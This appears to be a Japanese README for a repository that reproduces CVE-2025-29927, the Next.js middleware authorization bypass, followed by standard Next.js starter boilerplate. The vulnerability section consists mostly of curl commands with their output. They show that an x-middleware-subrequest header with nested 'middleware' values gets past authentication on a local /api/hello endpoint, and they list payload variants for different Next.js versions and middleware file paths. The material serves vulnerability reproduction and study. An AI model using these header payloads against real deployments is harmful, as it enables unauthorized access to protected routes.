
このリポジトリは、next パッケージにおける CVE-2025-29927 脆弱性の再現です。
/api/hello エンドポイントへのアクセスを拒否することをテストします。$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
x-middleware-subrequest ヘッダーに middleware を5回ネストすることでバイパスすることもできます:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Next.js 12 と 13 では、ミドルウェアファイルの命名規則が異なり (_middleware.js)、Next.js 14 で middleware.js に変更されました。この脆弱性は、古いバージョンでは _middleware.js ファイルを使用することで悪用できます。
例えば、Next.js のバージョンとルーティング規則に応じて、以下のペイロードが該当します:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (Next.js バージョン12.2で、middleware.js ファイルが pages ディレクトリ内ではなくアプリのルートに配置されている場合)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (Next.js バージョン11から12.2まで)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloまず、開発サーバーを起動します:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
ブラウザで http://localhost:3000 を開くと結果が表示されます。
app/page.js を変更することでページの編集を開始できます。ファイルを編集するとページは自動的に更新されます。
このプロジェクトは next/font を使用して、Vercel の新しいフォントファミリーである Geist を自動的に最適化して読み込みます。
Next.js の詳細については、以下のリソースを参照してください:
Next.js GitHub リポジトリ をチェックしてください。フィードバックや貢献を歓迎します!
Next.js アプリをデプロイする最も簡単な方法は、Next.js の創造者による Vercel Platform を使用することです。
詳細については、Next.js デプロイドキュメント を参照してください。